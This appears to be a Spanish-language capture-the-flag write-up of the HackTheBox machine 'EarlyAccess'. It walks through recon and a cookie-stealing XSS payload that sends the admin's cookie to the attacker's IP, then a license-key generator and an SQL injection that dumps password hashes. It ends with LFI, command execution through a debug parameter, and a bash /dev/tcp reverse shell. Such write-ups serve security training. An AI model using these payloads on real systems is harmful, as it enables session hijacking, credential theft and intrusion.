Conocimientos
-
Inyección XSS
-
Cookie Hijacking
-
Análisis de código en python
-
Python Scripting (Nivel Medio - Avanzado)
-
SQLi - Error Based
-
LFI
-
Host Discovering
-
Dinamic Port Forwarding
-
Information Disclosure
-
Pivoting
-
Enumeración de Docker
-
Abuso de montura
-
Abuso de Capabilities (Escalada de Privilegios)
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.110 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 10:07 GMT
Nmap scan report for 10.10.11.110
Host is up (0.078s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 12.82 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,80,443 10.10.11.110 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 10:08 GMT
Nmap scan report for 10.10.11.110
Host is up (0.062s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 e466288ed0bdf31df18d44e9141d9c64 (RSA)
| 256 b3a8f4497a0379d35a1394249b6ad1bd (ECDSA)
|_ 256 e9aaae594a3749a65a2a321d7926edbb (ED25519)
80/tcp open http Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Did not follow redirect to https://earlyaccess.htb/
443/tcp open ssl/http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT
| Not valid before: 2021-08-18T14:46:57
|_Not valid after: 2022-08-18T14:46:57
|_http-title: EarlyAccess
Service Info: Host: 172.18.0.102; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.36 seconds
Añado el dominio earlyaccess.htb
al /etc/hosts
Puerto 80 (HTTP) | Puerto 443 (HTTPS)
Con whatweb, analizo las tecnologías que está empleando el servidor web
whatweb http://10.10.11.110
http://10.10.11.110 [301 Moved Permanently] Apache[2.4.38], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[10.10.11.110], RedirectLocation[https://earlyaccess.htb/], Title[301 Moved Permanently]
https://earlyaccess.htb/ [200 OK] Apache[2.4.38], Bootstrap, Cookies[XSRF-TOKEN,earlyaccess_session], Country[RESERVED][ZZ], Email[admin@earlyaccess.htb], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[10.10.11.110], PHP[7.4.21], Script, Title[EarlyAccess], X-Powered-By[PHP/7.4.21]
whatweb https://10.10.11.110
https://10.10.11.110 [200 OK] Apache[2.4.38], Bootstrap, Cookies[XSRF-TOKEN,earlyaccess_session], Country[RESERVED][ZZ], Email[admin@earlyaccess.htb], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[10.10.11.110], PHP[7.4.21], Script, Title[EarlyAccess], X-Powered-By[PHP/7.4.21]
La página principal se ve así:
Aplico fuzzing para descubrir rutas. Pero hay un WAF que me bloquea
Hay un panel de inicio de sesión
En la petición se arrastran varios token y cookies
La primera está compuesta por varios campos:
La data no es legible
echo 'O4Nv/mG9B0Z8fRaC94tETw==' | base64 -d; echo
;oaF|}DO
echo '0K+7zXN0G4ePF/FBYIiuSketKlGJ37xdJPlllqBbKhNZq1NWaEmzdHxkcm+Vr/ig3v07X4VsoRvdXqGz6ZXhdg+KCMmV5xUE8ssVwnyuUFo9BRd3heCTHAW/2STS0GLf' | base64 -d; echo
ЯstA`JG*Q]$e[*YSVhIt|dro;_l
Me puedo registrar
En los CN del certificado SSL se puede ver otro usuario
openssl s_client -connect 10.10.11.110:443 | grep CN
Can't use SSL_get_servername
depth=0 C = AT, ST = Vienna, L = Vienna, O = EarlyAccess Studios, OU = IT, CN = earlyaccess.htb, emailAddress = chr0x6eos@earlyaccess.htb
verify error:num=18:self-signed certificate
verify return:1
depth=0 C = AT, ST = Vienna, L = Vienna, O = EarlyAccess Studios, OU = IT, CN = earlyaccess.htb, emailAddress = chr0x6eos@earlyaccess.htb
verify error:num=10:certificate has expired
notAfter=Aug 18 14:46:57 2022 GMT
verify return:1
depth=0 C = AT, ST = Vienna, L = Vienna, O = EarlyAccess Studios, OU = IT, CN = earlyaccess.htb, emailAddress = chr0x6eos@earlyaccess.htb
notAfter=Aug 18 14:46:57 2022 GMT
verify return:1
0 s:C = AT, ST = Vienna, L = Vienna, O = EarlyAccess Studios, OU = IT, CN = earlyaccess.htb, emailAddress = chr0x6eos@earlyaccess.htb
i:C = AT, ST = Vienna, L = Vienna, O = EarlyAccess Studios, OU = IT, CN = earlyaccess.htb, emailAddress = chr0x6eos@earlyaccess.htb
subject=C = AT, ST = Vienna, L = Vienna, O = EarlyAccess Studios, OU = IT, CN = earlyaccess.htb, emailAddress = chr0x6eos@earlyaccess.htb
issuer=C = AT, ST = Vienna, L = Vienna, O = EarlyAccess Studios, OU = IT, CN = earlyaccess.htb, emailAddress = chr0x6eos@earlyaccess.htb
Tras crear una cuenta, tengo aceso a otra sección de la web
Puedo enviar mensajes al usuario Administrador
Como el nombre de usuario se ver reflejado en la respuesta, puedo intentar algún tipo de inyección, como un SSTI, desde la sección de ajustes del perfil
En el foro hay varios mensajes
El primero referencia a un fallo de seguridad en un juego, al cambiar el nombre de usuario
El segundo dice que hay problemas en la API que se encarga de la verificación en dos pasos. A esta sección si que tengo acceso
El nombre de usuario es vulnerable a una inyección HTML, al cargarlo desde messaging
En caso de que al Administrador se le interprete también, puedo tratar de que se me envíe su cookie de sesión a mi equipo
<script>document.location="http://10.10.16.9/?cookie="+document.cookie</script>
Al abrir el mensaje recibo su cookie
nc -nlvp 80
listening on [any] 80 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.110] 42380
GET /?cookie=XSRF-TOKEN=eyJpdiI6IlZrWjBUNFdnQ2JqQW5FQXBwdDMraFE9PSIsInZhbHVlIjoieU5DWXhCTzhjQ2l3VS9kRHQ5Q05nRlpXMlpKQ2tpdVFERmhocktMd3psdklMWlZWbWxEcG5sYitSTzhxMmpKVDczTU1FS3RvUkVyRFhTb29kUjhCNmgwV1J2K2dQdENjZzU2czF2MnJKUHhSNUdSUGJyRnZ6Q3dKWWxWRUZ2Z08iLCJtYWMiOiJhOWEwZWViYzEwMjNkMjFmODdhNTBlYzA3NzEyMGFlMjMzNDdkM2UwZTVhOGE2ODk4YTI3ZjllNjVjNTI4MzU5In0%3D;%20earlyaccess_session=eyJpdiI6InMwSXUzQzBadlp4M0Fncmh5OXJDckE9PSIsInZhbHVlIjoiSzNubGJRS29pSXhjSWxYanA3eXRiYTFlMUNuWVVPM1VXTndETjRZbC84RWRTTlF5WS9xU0dQQ3NobFhHOGE2MnUxOEZ0M0M0SjVJbXBqWFM5Q2VHTytiTTFyVHNoc29MaFhrN1RUQmV1RzJpLzd0cEMzQy9IZnlJQ1o4Yk1tVmIiLCJtYWMiOiIxYjIxYjA2YTc4MjEzMGM4ODk1NmIzYmViNGU5ZGIzOWI4ODZhYzQ0ZDdmNWIzOTlhMjUxZjJlMmJmZTQ3MWVkIn0%3D HTTP/1.1
Host: 10.10.16.9
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Las sustituyo en el Firefox por las mías
Tengo acceso a varias secciones
Agrego los subdominos dev.earlyaccess.htb
y game.earlyaccess.htb
al /etc/hosts
. Corresponde a un nuevo panel de inicio de sesión
Puedo descargar un backup del código que se encarga de generar el token
El formato de la KEY tiene que ser el siguiente:
def valid_format(self) -> bool:
return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key))
5 caracteres alfanuméricos de la “A” a la “Z”, igual para el seguiente campo, después cuatro letras y un número y en el último solo números. Es probable que el que son solo números corresponda a un checksum del resto de la cadena. Un ejemplo de formato sería así: AAAAA-BBBBB-CCCC1-DDDDD-1234
. En caso de que el patrón sea correcto, devolverá un true
, de lo contrario, un false
La siguiente función es esta:
def g1_valid(self) -> bool:
g1 = self.key.split('-')[0]
r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
if r != [221, 81, 145]:
return False
for v in g1[3:]:
try:
int(v)
except:
return False
return len(set(g1)) == len(g1)
Está separando la cadena tomando como delimitador el “-“ para quedarse con el primer argumento. Esto hacen el resto de funciones según la posición. Todo ello lo almacena en la variable g1
. Está declarando un bucle con dos variables, i
y v
, tomando como argumento los tres primeros caracteres de g1
. Por cada iteración, v
va a tener esos valores respectivamente, mientras que i
actua de contador. Por cada valor de v
, se está transformando de string a valor decimal y a ese valor le está haciendo un bitwise shift left, con el valor de i
más una unidad, por lo que es bastante probable que el valor inicial de i
sea 0. El bitwise toma el valor decimal para convertirlo a binario y rotarlo una unidad a la izquierda. Luego le está haciendo un módulo con 256 de valor y lo xorea con el caracter correspondiente a v
. Todo el output lo está almacenando en la variable r
. En caso de que los tres primeros caracteres de la cadena global no sean iguales a 221, 81 y 145, toda la validación va a devolver un false, por lo que el programa no avanza.
Puedo tratar de reversar estos tres valores, creando una tabla por la que iterar y me lo devuelva en caso de que coincida
import sys, string, signal
def def_handler(sig, frame):
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
def g1():
if len(sys.argv) != 2:
sys.exit(1)
i = int(sys.argv[1])
characters = string.ascii_uppercase + string.digits
for character in characters:
r = (ord(character)<<i+1)%256^ord(character)
print("%s: %s" % (character, r))
if __name__ == '__main__':
g1()
Por tanto, los tres caracteres que pasan la primera validatoria son:
python3 decrypt.py 0 | grep 221
K: 221
python3 decrypt.py 1 | grep 81
E: 81
python3 decrypt.py 2 | grep 145
Y: 145
Para los otros dos caracteres es más sencillo, ya que únicamente comprueba que es un entero. Hay una función check
que se encarga de llamar al resto de comprobaciones
def check(self) -> bool:
if not self.valid_format():
print('Key format invalid!')
return False
if not self.g1_valid():
return False
if not self.g2_valid():
return False
if not self.g3_valid():
return False
if not self.g4_valid():
return False
if not self.cs_valid():
print('[Critical] Checksum verification failed!')
return False
return True
La segunda comprobación es:
def g2_valid(self) -> bool:
g2 = self.key.split('-')[1]
p1 = g2[::2]
p2 = g2[1::2]
return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
En p1
está almacenando las posiciones impares y en p2
las pares
❯ python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> string = "ABCDEF"
>>> string[::2]
'ACE'
>>> string[1::2]
'BDF'
Cuando aplica el sum(bytearray) está sumando cada caracter de los valores impares en formato bytes
>>> p1 = string[::2]
>>> sum(bytearray(p1.encode()))
201
Solo va a devolver valores esta función en caso de que la sumatoria sea igual para las posiciones pares y las impares. Creo otro nueva función que se encargue de darme un valor válido
def g2():
from itertools import product
p1 = product(string.ascii_uppercase + string.digits, repeat=3)
p1 = [ "".join(i) for i in p1]
p2 = product(string.ascii_uppercase + string.digits, repeat=2)
p2 = [ "".join(i) for i in p2]
for x in p1:
for y in p2:
if sum(bytearray(x.encode())) == sum(bytearray(y.encode())):
code = x[0] + y[0] + x[1] + y[1] + x[2]
print(code)
sys.exit(0)
python3 decrypt.py
AXAZ0
La tercera función es asi:
def g3_valid(self) -> bool:
# TODO: Add mechanism to sync magic_num with API
g3 = self.key.split('-')[2]
if g3[0:2] == self.magic_value:
return sum(bytearray(g3.encode())) == self.magic_num
else:
return False
En este caso, los cuatro primeros caracteres son letras, pero el último es un número. Se está quedando con los dos primeros caracteres para comparrlos con magic_value
>>> string[0:2]
'AB
Los atributos de self
están definidos en una clase al comienzo del script
class Key:
key = ""
magic_value = "XP" # Static (same on API)
magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)
def __init__(self, key:str, magic_num:int=346):
self.key = key
if magic_num != 0:
self.magic_num = magic_num
Está volviendo a aplicar una sumatoria de todos esos caracteres para compararlos con magic_num
, que es 346. En el decrypt.py
, para evitar ruido, utilizo diccionarios para que en caso de que un valor tenga la misma suma, lo sobrescriba y quedarme con los únicos. En total hay un máximo de 60 combinaciones. Como el valor de la API no es estático, tengo que probar todas para llegar a la válida (Se modifica cada media hora)
def g3():
from itertools import product
p1 = product(string.ascii_uppercase, repeat=2)
p1 = [ "".join(i) for i in p1 ]
uniques = {}
for x in p1:
for y in range(0, 10):
g3 = f"XP{x}{y}"
value = sum(bytearray(g3.encode()))
uniques[value] = g3
print("\n".join(uniques.values()))
python3 decrypt.py | xargs
XPAA0 XPBA0 XPCA0 XPDA0 XPEA0 XPFA0 XPGA0 XPHA0 XPIA0 XPJA0 XPKA0 XPLA0 XPMA0 XPNA0 XPOA0 XPPA0 XPQA0 XPRA0 XPSA0 XPTA0 XPUA0 XPVA0 XPWA0 XPXA0 XPYA0 XPZA0 XPZB0 XPZC0 XPZD0 XPZE0 XPZF0 XPZG0 XPZH0 XPZI0 XPZJ0 XPZK0 XPZL0 XPZM0 XPZN0 XPZO0 XPZP0 XPZQ0 XPZR0 XPZS0 XPZT0 XPZU0 XPZV0 XPZW0 XPZX0 XPZY0 XPZZ0 XPZZ1 XPZZ2 XPZZ3 XPZZ4 XPZZ5 XPZZ6 XPZZ7 XPZZ8 XPZZ9
La cuarta función consiste en lo siguiente:
def g4_valid(self) -> bool:
return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]
Está qudandose con el primer argumento tomando como delimitador el “-“, y lo mismo para la tercera, almacenándolas en distintas variables, xoreando cada caracter, i
, sobre g
, y comparando cada valor respectivamente sobre 12, 4, 20, 117 y 0. Con xor, se puede aplicar el proceso inverso para obtener el valor que desconozco
python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> chr(ord("K")^12)
'G'
>>> chr(ord("E")^4)
'A'
>>> chr(ord("Y")^20)
'M'
>>> chr(ord("1")^117)
'D'
>>> chr(ord("2")^0)
'2'
Solo falta obtener el checksum
def calc_cs(self) -> int:
gs = self.key.split('-')[:-1]
return sum([sum(bytearray(g.encode())) for g in gs])
El script final quedaría así:
from itertools import product
import sys, string, signal
def def_handler(sig, frame):
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
def g1():
if len(sys.argv) != 2:
sys.exit(1)
i = int(sys.argv[1])
characters = string.ascii_uppercase + string.digits
for character in characters:
r = (ord(character)<<i+1)%256^ord(character)
print("%s: %s" % (character, r))
def g2():
p1 = product(string.ascii_uppercase + string.digits, repeat=3)
p1 = [ "".join(i) for i in p1 ]
p2 = product(string.ascii_uppercase + string.digits, repeat=2)
p2 = [ "".join(i) for i in p2 ]
for x in p1:
for y in p2:
if sum(bytearray(x.encode())) == sum(bytearray(y.encode())):
code = x[0] + y[0] + x[1] + y[1] + x[2]
print(code)
sys.exit(0)
def g3():
p1 = product(string.ascii_uppercase, repeat=2)
p1 = [ "".join(i) for i in p1 ]
uniques = {}
for x in p1:
for y in range(0, 10):
g3 = f"XP{x}{y}"
value = sum(bytearray(g3.encode()))
uniques[value] = g3
#print("\n".join(uniques.values()))
return uniques.values()
def calc_cs(key) -> int:
gs = key.split('-')[:-1]
return sum([sum(bytearray(g.encode())) for g in gs])
def coder():
values = g3()
total_keys = []
for value in values:
key = ("KEY12-AXAZ0-%s-GAMD2-" % (value))
checksum = calc_cs(key)
key = ("%s%s" % (key, checksum))
total_keys.append(key)
return total_keys
if __name__ == '__main__':
keys = coder()
for key in keys:
print(key)
Aunque cumplan todas las condiciones, no tienen por qué ser válidas
python3 decrypt.py
[+] Bruteforcing...: [+] KEY KEY12-AXAZ0-XPVA0-GAMD2-1386
Teniendo el código, puedo acceder al juego
En el foro habían reportado una vulnerabilidad. Al modificar el nombre de usuario, se pueden provocar inyecciones. Introduzco una comilla en mi nombre, y se ve reflejado un error de MySQL
Tiene un total de 3 columnas
rubbx') order by 3-- -
Aplico un ordenamiento
rubbx') union select 1,2,3-- -
Tiene un total de dos bases de datos
rubbx') union select 1,2,group_concat(schema_name) from information_schema.schemata-- -
curl -s -X GET http://game.earlyaccess.htb/scoreboard.php -H "Cookie: PHPSESSID=8d543d06b09287fed7280fa4816f3a1c" | grep -oP '<td>.*?</td>' | head -n 1 | sed 's/<td>//' | sed 's/<\/td>//'
information_schema,db
Listo las tablas para db
rubbx') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='db'-- -
curl -s -X GET http://game.earlyaccess.htb/scoreboard.php -H "Cookie: PHPSESSID=8d543d06b09287fed7280fa4816f3a1c" | grep -oP '<td>.*?</td>' | head -n 1 | sed 's/<td>//' | sed 's/<\/td>//'
failed_logins,scoreboard,users
Para users
las columnas
rubbx') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='db' and table_name='users'-- -
curl -s -X GET http://game.earlyaccess.htb/scoreboard.php -H "Cookie: PHPSESSID=8d543d06b09287fed7280fa4816f3a1c" | grep -oP '<td>.*?</td>' | head -n 1 | sed 's/<td>//' | sed 's/<\/td>//'
id,name,email,password,role,key,created_at,updated_at
Me quedo con el email y la contraseña
rubbx') union select 1,2,group_concat(email,':',password) from users-- -
curl -s -X GET http://game.earlyaccess.htb/scoreboard.php -H "Cookie: PHPSESSID=8d543d06b09287fed7280fa4816f3a1c" | grep -oP '<td>.*?</td>' | head -n 1 | sed 's/<td>//' | sed 's/<\/td>//' | tr ',' '\n'
admin@earlyaccess.htb:618292e936625aca8df61d5fff5c06837c49e491
chr0x6eos@earlyaccess.htb:d997b2a79e4fc48183f59b2ce1cee9da18aa5476
firefart@earlyaccess.htb:584204a0bbe5e392173d3dfdf63a322c83fe97cd
farbs@earlyaccess.htb:290516b5f6ad161a86786178934ad5f933242361
rubbx@earlyaccess.htb:76712d547d021cfb0412c0b121da35330ebb24fc
Los intento crackear con john (menos el mío, que no tiene sentido)
ohn -w:/usr/share/wordlists/rockyou.txt hashes --format=Raw-SHA1-AxCrypt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-SHA1-AxCrypt [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
gameover (admin@earlyaccess.htb)
1g 0:00:00:00 DONE (2023-03-07 19:57) 1.333g/s 19124Kp/s 19124Kc/s 57382KC/sie168..*7¡Vamos!
Use the "--show --format=Raw-SHA1-AxCrypt" options to display all of the cracked passwords reliably
Session completed.
La utilizo para conectarme al panel de autenticación del dev.earlyaccess.htb
. Me tuve que cambiar a Chromium
porque el Firefox
daba problemas. En el histórico en BurpSuite
se puede ver que tramita una petición a /actions
Aplico fuzzing sobre /actions
gobuster dir -u http://dev.earlyaccess.htb/actions -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 40 -x php -H "Cookie: PHPSESSID=24b99e5ad2237736351f97ea807bda78"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.earlyaccess.htb/actions
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2023/03/07 20:11:32 Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 302) [Size: 0] [--> /index.php]
/file.php (Status: 500) [Size: 35]
/logout.php (Status: 302) [Size: 0] [--> /home.php]
/hash.php (Status: 302) [Size: 0] [--> /home.php]
El archivo file.php
devuelve un código de estado 500
wfuzz -c --hh=35 -t 200 -H "Cookie: PHPSESSID=24b99e5ad2237736351f97ea807bda78" -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt 'http://dev.earlyaccess.htb/actions/file.php?FUZZ=../../../../../etc/passwd'
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://dev.earlyaccess.htb/actions/file.php?FUZZ=../../../../../etc/passwd
Total requests: 6453
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002241: 500 0 L 10 W 89 Ch "filepath"
Total time: 20.28695
Processed Requests: 6453
Filtered Requests: 6452
Requests/sec.: 318.0861
El parámetro ?filepath
existe. Puedo obtener el contendio de hash.php
curl -s -X GET 'http://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=hash.php' -H "Cookie: PHPSESSID=24b99e5ad2237736351f97ea807bda78"
<h2>Executing file:</h2><p>php://filter/convert.base64-encode/resource=hash.php</p><br>PD9waHAKaW5jbHVkZV9vbmNlICIuLi9pbmNsdWRlcy9zZXNzaW9uLnBocCI7CgpmdW5jdGlvbiBoYXNoX3B3KCRoYXNoX2Z1bmN0aW9uLCAkcGFzc3dvcmQpCnsKICAgIC8vIERFVkVMT1BFUi1OT1RFOiBUaGVyZSBoYXMgZ290dGEgYmUgYW4gZWFzaWVyIHdheS4uLgogICAgb2Jfc3RhcnQoKTsKICAgIC8vIFVzZSBpbnB1dHRlZCBoYXNoX2Z1bmN0aW9uIHRvIGhhc2ggcGFzc3dvcmQKICAgICRoYXNoID0gQCRoYXNoX2Z1bmN0aW9uKCRwYXNzd29yZCk7CiAgICBvYl9lbmRfY2xlYW4oKTsKICAgIHJldHVybiAkaGFzaDsKfQoKdHJ5CnsKICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pKQogICAgewogICAgICAgIGlmKCRfUkVRVUVTVFsnYWN0aW9uJ10gPT09ICJ2ZXJpZnkiKQogICAgICAgIHsKICAgICAgICAgICAgLy8gVkVSSUZJRVMgJHBhc3N3b3JkIEFHQUlOU1QgJGhhc2gKCiAgICAgICAgICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsnaGFzaF9mdW5jdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ2hhc2gnXSkgJiYgaXNzZXQoJF9SRVFVRVNUWydwYXNzd29yZCddKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgLy8gT25seSBhbGxvdyBjdXN0b20gaGFzaGVzLCBpZiBgZGVidWdgIGlzIHNldAogICAgICAgICAgICAgICAgaWYoJF9SRVFVRVNUWydoYXNoX2Z1bmN0aW9uJ10gIT09ICJtZDUiICYmICRfUkVRVUVTVFsnaGFzaF9mdW5jdGlvbiddICE9PSAic2hhMSIgJiYgIWlzc2V0KCRfUkVRVUVTVFsnZGVidWcnXSkpCiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiT25seSBNRDUgYW5kIFNIQTEgYXJlIGN1cnJlbnRseSBzdXBwb3J0ZWQhIik7CgogICAgICAgICAgICAgICAgJGhhc2ggPSBoYXNoX3B3KCRfUkVRVUVTVFsnaGFzaF9mdW5jdGlvbiddLCAkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10pOwoKICAgICAgICAgICAgICAgICRfU0VTU0lPTlsndmVyaWZ5J10gPSAoJGhhc2ggPT09ICRfUkVRVUVTVFsnaGFzaCddKTsKICAgICAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246IC9ob21lLnBocD90b29sPWhhc2hpbmcnKTsKICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlbHNlaWYoJF9SRVFVRVNUWydhY3Rpb24nXSA9PT0gInZlcmlmeV9maWxlIikKICAgICAgICB7CiAgICAgICAgICAgIC8vVE9ETzogSU1QTEVNRU5UIEZJTEUgVkVSSUZJQ0FUSU9OCiAgICAgICAgfQogICAgICAgIGVsc2VpZigkX1JFUVVFU1RbJ2FjdGlvbiddID09PSAiaGFzaF9maWxlIikKICAgICAgICB7CiAgICAgICAgICAgIC8vVE9ETzogSU1QTEVNRU5UIEZJTEUtSEFTSElORwogICAgICAgIH0KICAgICAgICBlbHNlaWYoJF9SRVFVRVNUWydhY3Rpb24nXSA9PT0gImhhc2giKQogICAgICAgIHsKICAgICAgICAgICAgLy8gSEFTSEVTICRwYXNzd29yZCBVU0lORyAkaGFzaF9mdW5jdGlvbgoKICAgICAgICAgICAgaWYoaXNzZXQoJF9SRVFVRVNUWydoYXNoX2Z1bmN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIC8vIE9ubHkgYWxsb3cgY3VzdG9tIGhhc2hlcywgaWYgYGRlYnVnYCBpcyBzZXQKICAgICAgICAgICAgICAgIGlmKCRfUkVRVUVTVFsnaGFzaF9mdW5jdGlvbiddICE9PSAibWQ1IiAmJiAkX1JFUVVFU1RbJ2hhc2hfZnVuY3Rpb24nXSAhPT0gInNoYTEiICYmICFpc3NldCgkX1JFUVVFU1RbJ2RlYnVnJ10pKQogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIk9ubHkgTUQ1IGFuZCBTSEExIGFyZSBjdXJyZW50bHkgc3VwcG9ydGVkISIpOwoKICAgICAgICAgICAgICAgICRoYXNoID0gaGFzaF9wdygkX1JFUVVFU1RbJ2hhc2hfZnVuY3Rpb24nXSwgJF9SRVFVRVNUWydwYXNzd29yZCddKTsKICAgICAgICAgICAgICAgIGlmKCFpc3NldCgkX1JFUVVFU1RbJ3JlZGlyZWN0J10pKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlJlc3VsdCBmb3IgSGFzaC1mdW5jdGlvbiAoIiAuICRfUkVRVUVTVFsnaGFzaF9mdW5jdGlvbiddIC4gIikgYW5kIHBhc3N3b3JkICgiIC4gJF9SRVFVRVNUWydwYXNzd29yZCddIC4gIik6PGJyPiI7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyPicgLiAkaGFzaDsKICAgICAgICAgICAgICAgICAgICByZXR1cm47CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydoYXNoJ10gPSAkaGFzaDsKICAgICAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAvaG9tZS5waHA/dG9vbD1oYXNoaW5nJyk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgLy8gQWN0aW9uIG5vdCBzZXQsIGlnbm9yZQogICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiIik7Cn0KY2F0Y2goRXhjZXB0aW9uICRleCkKewogICAgaWYoJGV4LT5nZXRNZXNzYWdlKCkgIT09ICIiKQogICAgICAgICRfU0VTU0lPTlsnZXJyb3InXSA9IGh0bWxlbnRpdGllcygkZXgtPmdldE1lc3NhZ2UoKSk7CgogICAgaGVhZGVyKCdMb2NhdGlvbjogL2hvbWUucGhwJyk7CiAgICByZXR1cm47Cn0KPz4=<h2>Executed file successfully!
Puedo tratar de cargar otra función en hash_function
// Only allow custom hashes, if `debug` is set
if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
throw new Exception("Only MD5 and SHA1 are currently supported!");
$hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
if(!isset($_REQUEST['redirect']))
{
echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>";
echo '<br>' . $hash;
return;
}
else
{
$_SESSION['hash'] = $hash;
header('Location: /home.php?tool=hashing');
return;
Al añadir el parámetro debug
y cambiar la función por un system
obtengo ejecución remota de comandos
Me entablo una reverse shell
bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.9/443+0>%261
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.110] 42690
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ script /dev/null -c bash
<rlyaccess.htb/dev/actions$ script /dev/null -c bash
Script started, file is /dev/null
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ export TERM=xterm
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ export SHELL=bash
9ww-data@webserver:/var/www/earlyaccess.htb/dev/actions$ stty rows 55 columns 20
Estoy dentro de un contenedor
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ whoami
www-data
